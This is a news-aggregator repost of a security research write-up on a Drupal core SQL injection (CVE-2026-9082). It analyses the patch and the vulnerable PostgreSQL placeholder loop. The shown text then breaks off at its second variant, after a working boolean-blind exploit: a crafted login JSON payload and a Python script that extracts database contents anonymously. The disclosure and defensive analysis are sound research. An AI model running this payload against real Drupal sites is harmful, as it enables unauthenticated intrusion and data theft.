Security News

Cybersecurity news aggregator

🔓
CRITICAL Vulnerabilities Reddit r/netsec

Keys to the Kingdom: Anonymous SQL Injection in Drupal Core (CVE-2026-9082)

This is a highly critical SQL injection vulnerability (CVE-2026-9082, CVSS 6.5) in Drupal core that allows fully anonymous users to execute arbitrary SQL on PostgreSQL-backed deployments. The flaw occurs when user-supplied JSON keys are improperly handled as SQL placeholder names during case-insensitive `IN` query processing in the PostgreSQL-specific entity query override. Affected versions include Drupal 11.1.x, 11.2.x, 11.3.x, 10.4.x, 10.5.x, and 10.6.x, and the issue is resolved in patched releases 11.3.10, 11.2.12, 11.1.10, 10.6.9, 10.5.10, and 10.4.10.
Read Full Article →

May 21, 2026 Security research Patrik Grobshäuser , Kevin Gervot , Tomais Williamson Keys to the Kingdom: Anonymous SQL Injection in Drupal Core (CVE-2026-9082) Inside SA-Core2026-004 On the 20th of May, the Drupal Security Team released SA-CORE-2026-004 (CVE-2026-9082), a Highly critical (20/25) SQL injection in Drupal core. The issue is reachable by fully anonymous users on any deployment that backs Drupal with PostgreSQL. It was reported upstream by Michael Maturi and a fix shipped across every supported branch (11.3.10, 11.2.12, 11.1.10, 10.6.9, 10.5.10, 10.4.10), with best-effort patches for the end-of-life Drupal 8.9 and 9 lines. This post is a same-day technical breakdown. We walk through the patch, explain why an unauthenticated JSON object survives into the SQL placeholder name on the case-insensitive IN path, and include two working proofs of concept. The login JSON variant was shared with us by Animesh Acharya at Tanto Security , along with the JSON:API variant that we cover later in the post. We recommend upgrading to one of the patched releases (10.4.10, 10.5.10, 10.6.9, 11.1.10, 11.2.12, 11.3.10) as soon as possible. The SQL injection only affects PostgreSQL deployments, but the same Drupal release bundles upstream Symfony and Twig security updates that apply on every backend. Entity queries and the Postgres override Drupal ships the Entity Query API on top of the Database API. A call like Drupal::entityQuery('user')->condition('name', $name)->execute() is the common idiom for looking up a user by name. The entity query layer compiles conditions to SQL via Condition::compile() and ConditionAggregate::compile() in core/lib/Drupal/Core/Entity/Query/Sql/ , and dispatches the SQL emission to a translateCondition method using late static binding so backend-specific subclasses can hook in. PostgreSQL has one such subclass in core/modules/pgsql/src/EntityQuery/Condition.php . It exists because PostgreSQL is case-sensitive by default. To make case-insensitive comparisons behave the same way they do on MySQL, the override wraps both sides of the comparison in LOWER(...) . For an IN (...) list this means emitting one LOWER(:placeholder) per value, which is the loop that the patch fixes. MySQL and SQLite never enter this loop. Their IN compilation goes through Drupal’s standard Connection::expandArguments() path, which generates sequential placeholder names from an internal counter and never reads user-supplied keys. Tracking the patch The fixing commit is eccc454 . It touches three files and adds seven lines: core/lib/Drupal/Core/Entity/Query/Sql/Condition.php core/lib/Drupal/Core/Entity/Query/Sql/ConditionAggregate.php core/modules/pgsql/src/EntityQuery/Condition.php Both core/lib hunks add the same call inside the database-agnostic compile path: // core/lib/Drupal/Core/Entity/Query/Sql/Condition.php $condition['real_field'] = $field; if (is_array($condition['value'])) { $condition['value'] = array_values($condition['value']); } static::translateCondition($condition, $sql_query, $tables->isFieldCaseSensitive($condition['field'])); // core/lib/Drupal/Core/Entity/Query/Sql/ConditionAggregate.php $field = $tables->addField($condition['field'], $type, $condition['langcode']); if (is_array($condition['value'])) { $condition['value'] = array_values($condition['value']); } $condition_class = QueryBase::getClass($this->namespaces, 'Condition'); $condition_class::translateCondition($condition, $sql_query, $tables->isFieldCaseSensitive($condition['field'])); The third hunk applies the same transform inside the PostgreSQL override: // core/modules/pgsql/src/EntityQuery/Condition.php - foreach ($condition['value'] as $key => $value) { + foreach (array_values($condition['value']) as $key => $value) { Three places, same fix: reset the keys of $condition['value'] to a sequential integer range before the override iterates. The two core/lib hunks sit before the static::translateCondition dispatch, so they catch every backend. The hunk in the override is defence in depth in case a future caller invokes translateCondition directly. The vulnerable loop The pre-patch handler for the case-insensitive IN operator in the PostgreSQL override: $where_prefix = str_replace('.', '_', $condition['real_field']); foreach ($condition['value'] as $key => $value) { $where_id = $where_prefix . $key; $condition['where'] .= 'LOWER(:' . $where_id . '),'; $condition['where_args'][':' . $where_id] = $value; } On each iteration: $where_id is built by concatenating a prefix derived from the field name (for example users_field_data_name ) with $key from $condition['value'] . $where_id is written directly into $condition['where'] as raw SQL text, wrapped in LOWER(: and ) . That string is spliced into the final query before PDO binds anything. The loop assumes $condition['value'] is numerically indexed, so $key is always an integer like 0 , 1 , 2 . If the caller hands the entity query an associative array, $key can be any string, and that string ends up inside the SQL. Two paths to the sink There are two anonymous entry points that we have confirmed reach this loop with attacker-controlled array keys: the JSON login endpoint and the JSON:API filter syntax. Both flip on Drupal’s default JSON content negotiation and both end up at the same pgsql override. The shape of the pre-prepared SQL for the login lookup (the users_field_data query) looks like this, with USER_INPUT standing in for whatever the attacker put in the second array key: SELECT "base_table"."uid" AS "uid", "base_table"."uid" AS "base_table_uid" FROM "users" "base_table" INNER JOIN "users_field_data" "users_field_data" ON "users_field_data"."uid" = "base_table"."uid" WHERE ((LOWER("users_field_data"."name") IN (LOWER(:users_field_data_name0),LOWER(:users_field_data_nameUSER_INPUT)))) AND ("users_field_data"."status" IN (:db_condition_placeholder_0)) AND ("users_field_data"."default_langcode" IN (:db_condition_placeholder_1)) :users_field_data_name0 comes from the first iteration where $key is the integer 0 . :users_field_data_nameUSER_INPUT is the second iteration where $key is the attacker-controlled key. Anything PostgreSQL would parse as SQL inside that name (parentheses, operators, function calls) becomes part of the statement before PDO runs. Variant 1: Boolean blind via JSON login The JSON login endpoint at /user/login?_format=json is part of the core user module and is enabled by default on any install that has the REST or JSON:API routes enabled, which is the standard configuration on Drupal 9 and 10. The handler validates the submitted name by running an entity query against users_field_data . No session, no CSRF token, and no prior auth state is required. Drupal parses the JSON body using Symfony’s JsonEncoder , which decodes objects into associative PHP arrays. If name is sent as a JSON object, the controller receives an associative array and passes it straight to the entity query. The payload submits name as a two-key JSON object. The first key ( "0" ) lines up with the legitimate first placeholder. The second key carries the injection. The trick that makes this practical on the login endpoint is that a PostgreSQL placeholder name only consumes identifier characters; the parser terminates the name at the first non-identifier character. The || operator (PostgreSQL string concatenation) ends the placeholder and lets us splice a divide-by-zero gadget into the surrounding LOWER(...) : POST /user/login?_format=json HTTP/1.1 Host: local:8000 Content-Type: application/json Content-Length: 149 {"name":{"0":"drupal","0||1/(SELECT CASE WHEN (SELECT name FROM users_field_data WHERE uid = 1) LIKE 'drupal' THEN 0 END)":"drupal"},"pass":"drupal"} What the vulnerable loop produces: iteration 1: key = "0" where_id = "users_field_data_name0" where += "LOWER(:users_field_data_name0)," iteration 2: key = "0||1/(SELECT CASE WHEN (SELECT name FROM users_field_data WHERE uid = 1) LIKE 'drupal' THEN 0 END)" where_id = "users_field_data_name" + <above> where += "LOWER(:" + <above> + ")," After the trailing comma is trimmed and the closing ) is appended, the second LOWER(...) in the IN clause becomes: LOWER(:users_field_data_name0 || 1/(SELECT CASE WHEN (SELECT name FROM users_field_data WHERE uid = 1) LIKE 'drupal' THEN 0 END)) The placeholder name terminates at the | , so :users_field_data_name0 resolves to its bound value ( "drupal" in this payload). || concatenates that value with the result of the divide-by-zero subexpression. The inner CASE has no ELSE , so it returns 0 when the predicate matches and NULL when it does not. 1/0 raises a runtime error and PostgreSQL aborts the statement. 1/NULL evaluates to NULL , the concatenation produces NULL , and the query runs to completion. That gives a clean status-code split per request: Predicate true: HTTP 500 with a PDO SQLSTATE error. Predicate false: HTTP 400 with the standard “Sorry, unrecognized username or password” response. import json import requests TARGET = "http://localhost:13080" # Swap the predicate to walk any data the database user can read. INJECTION_KEY = ( "0||1/(SELECT CASE WHEN " "(SELECT name FROM users_field_data WHERE uid = 1) LIKE 'drupal' " "THEN 0 END)" ) body = { "name": { "0": "drupal", INJECTION_KEY: "drupal", }, "pass": "drupal", } r = requests.post( f"{TARGET}/user/login?_format=json", data=json.dumps(body), headers={"Content-Type": "application/json"}, timeout=10, ) print(f"status={r.status_code}") print(r.text[:200]) Vulnerable install, predicate true (uid 1’s name starts with drupal ): status=500 {"message":"... SQLSTATE[22012] ... division by zero ..."} Vulnerable install, predicate false: status=400 {"message":"Sorry, unrecognized username or password..."} Patched install (regardless of predicate): status=400 {"message":"Sorry, unrecognized username or password..."} One HTTP request per bit, which makes blind extraction of arbitrary data the database user can read practical at scanning speeds. Variant 2: Error-based

Share this article